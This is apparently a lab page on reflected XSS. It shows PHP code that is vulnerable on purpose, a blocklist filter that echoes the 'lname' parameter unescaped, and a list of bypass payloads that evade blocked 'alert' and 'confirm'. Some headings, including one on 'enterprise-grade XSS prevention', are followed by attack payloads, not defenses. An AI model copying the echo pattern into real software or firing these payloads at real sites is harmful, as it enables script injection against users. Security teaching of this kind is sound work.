Lab: Multi-Function Filter Bypass
This lab demonstrates a reflected XSS vulnerability with an advanced filter that blocks multiple HTML tags AND the 'alert' and 'confirm' functions.
str_replace(array('script','Script',...,'alert','confirm'), '', $_GET['lname'])
Objective: Bypass the filter and execute JavaScript code, even though 'alert' and 'confirm' are blocked.
Note: Only the Last Name field is filtered and displayed. The First Name field is unfiltered but not used in output.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
$arr = array('script','Script','sCript','scRipt',
'scrIpt','scriPt','scripT','SCript',
'SCRipt','SCRIpt','SCRIPt','SCRIPT',
'img','image','svg','alert','confirm','video','body');
$re = str_replace($arr, '', $_GET['lname']);
echo $re;
}
prompt(), console.log(), print(), or create custom functionswindow.alert, top.alert, self.alert, parent.alertalert, confirm'al'+'ert', ['al','ert'].join('')eval(), Function(), or setTimeout() with encoded strings`al${''}ert`, `c${''}onfirm`globalThis['al'+'ert'], this['al'+'ert']String.fromCharCode(97,108,101,114,116) for 'alert'window['al'+'ert'].call(null,1)Blocking multiple JavaScript functions demonstrates:
For enterprise-grade XSS prevention:
alert(1) - HTML entitiesal%65rt(1) - URL encodingal\u0065rt(1) - Unicode escapeal\x65rt(1) - Hex escapeeval('al'+'ert(1)')Function('al'+'ert(1)')()setTimeout('al'+'ert(1)')window['al'+'ert'](1)prompt(1) - Input dialogconsole.log(1) - Browser consoleprint() - Print dialogopen() - New windowlocation='javascript:alert(1)' - Navigation